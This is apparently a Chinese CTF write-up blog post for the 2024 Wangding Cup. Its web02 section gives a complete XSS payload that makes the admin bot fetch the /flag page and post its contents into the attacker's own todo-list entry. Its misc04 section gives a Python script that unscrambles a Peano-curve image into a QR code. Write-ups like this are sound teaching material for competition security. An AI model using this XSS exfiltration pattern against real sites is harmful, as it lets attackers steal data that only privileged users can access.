网鼎杯wp

本文最后更新于:2024年12月14日 下午

web02

/content/2be2d1fe51125decd59e33b2092ac922可以xss。但是应该不出网。

发现有个/flag,得boss访问,很明显就是xss访问然后外带数据了。

一开始没想到回显办法,后面直接往/content/2be2d1fe51125decd59e33b2092ac922发POST请求,写到我们的todo list里。

由于不出网,不能直接用容器地址,测试发现运行在本地5000端口,直接用http://127.0.0.1:5000/

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// 首先访问 /flag 获取结果
fetch('http://127.0.0.1:5000/flag', {
method: 'GET',
headers: {
'Cache-Control': 'max-age=0',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Origin': 'http://127.0.0.1:5000',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive'
}
})
.then(response => response.text())
.then(flagData => {
// 使用 /flag 返回的数据作为 content 值进行 POST 请求
return fetch('http://127.0.0.1:5000/content/2019449a5e644feca1719d4f66d8cc8c', {
method: 'POST',
headers: {
'Cache-Control': 'max-age=0',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Origin': 'http://127.0.0.1:5000',
'Content-Type': 'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'http://127.0.0.1:5000/content/2019449a5e644feca1719d4f66d8cc8c',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive'
},
body: `content=${encodeURIComponent(flagData)}`
});
})
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));

misc04

这应该是今年irisctf的原题peanoscramble

这里是当时官方给出的加密脚本https://github.com/IrisSec/IrisCTF-2024-Challenges/blob/main/peanoscramble/setup/peano.py

直接写逆向脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from PIL import Image

step = 10
angle = 1
x = 0
y = -1
inpx = 0
inpy = 0

width, height = 729, 729
chal_image = Image.open("1.png")
flag_image = Image.new("RGB", (width, height), "white")

def get_pixel():
global chal_image, inpx, inpy, width, height
d = chal_image.getpixel((x, y))
flag_image.putpixel((inpx, inpy), d)
inpx += 1
if inpx >= width:
inpx = 0
inpy += 1

# 逆向绘制路径函数
def draw():
global angle, x, y, flag_image
angle %= 4
if angle == 0:
x += 1
elif angle == 1:
y -= 1
elif angle == 2:
x -= 1
elif angle == 3:
y += 1

get_pixel()

# 逆向生成分形路径
def fractal(depth, divided_angle):
global angle
if depth <= 0:
return
depth -= 1
fractal(depth, divided_angle)
draw()
fractal(depth, -divided_angle)
draw()
fractal(depth, divided_angle)
angle += divided_angle
draw()
angle += divided_angle
fractal(depth, -divided_angle)
draw()
fractal(depth, divided_angle)
draw()
fractal(depth, -divided_angle)
angle -= divided_angle
draw()
angle -= divided_angle
fractal(depth, divided_angle)
draw()
fractal(depth, -divided_angle)
draw()
fractal(depth, divided_angle)

# 运行逆向脚本
get_pixel()
fractal(6, 3)

flag_image.save("flag_reconstructed.png")


得到一个二维码image-20241029172104650

扫描就有flag了


网鼎杯wp
http://gensokyo.cn/2024/11/28/网鼎杯wp/
作者
s1ain
发布于
2024年11月28日
许可协议